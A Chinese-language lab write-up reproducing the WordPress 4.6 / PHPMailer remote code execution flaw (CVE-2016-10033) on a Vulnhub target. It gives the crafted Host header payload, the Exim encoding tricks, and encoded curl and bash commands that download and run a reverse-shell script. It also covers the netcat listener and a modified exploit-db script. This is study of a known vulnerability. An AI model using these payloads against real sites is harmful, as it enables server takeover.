Vulnhub-Wordpress 4.6 Remote Cod
郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。
漏洞简述
WordPress ≤ 4.7.1使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。
准备环境
测试机IP:192.168.79.129
靶机IP:192.168.79.131
1. 启动Vulnhub靶机环境:

2. 验证靶机应用启用成功:

3. 用wpscan扫描,能发现此漏洞

漏洞复现
方法一:手工利用
前提条件:
#执行的命令不能包含一些特殊的字符
#命令为小写字母
#命令使用绝对路径
#至少需要知道一个用户名
使用${substr{0}{1}{$spool_directory}}代替/
使用${substr{10}{1}{$tod_log}}代替‘空格’
POC:
参考:https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
HTTP Host标头:target(any -froot@localhost -be ${run{command}} null)
1. 使用Burp拦截找回密码页的访问,/wp-login.php?action=lostpassword


2.准备反弹Shell文件

3. 开启python http server,供靶机下载反弹Shell文件

4. 构建下载Shell文件命令
原命令:
/usr/bin/curl -o/tmp/shell 192.168.79.131/shell.sh
转换后命令:
${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.79.131${substr{0}{1}{$spool_directory}}shell.sh
5. 构建执行Shell文件命令
原命令:
/bin/bash /tmp/shell
转换后命令:
${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell
6. 使用Burp执行下载Shell文件命令(这里将8080端口去调了,不然报500错误)

7. 使用NC侦听反弹端口

8. 使用Burp执行反弹Shell

9. 得到反弹Shell

方法二:使用现有的exp
引用:https://www.exploit-db.com/exploits/41962

1. 修改脚本
# 修改接收反弹shell的主机IP

2. 执行脚本,发现报错。因为脚本是针对windows环境的,需要将其转换成对应的linux格式。

3. 转换脚本格式

4. 再次执行

5. 命令使用格式: exploit.sh target-wordpress-url,尝试执行,又发现反弹dns解析失败。

6. 由于没有使用DNS解析域名,再次修改脚本

7. 继续执行脚本:bash exploit.sh http://192.168.79.131:8080/ ,成功接收到反弹Shell。

关闭环境
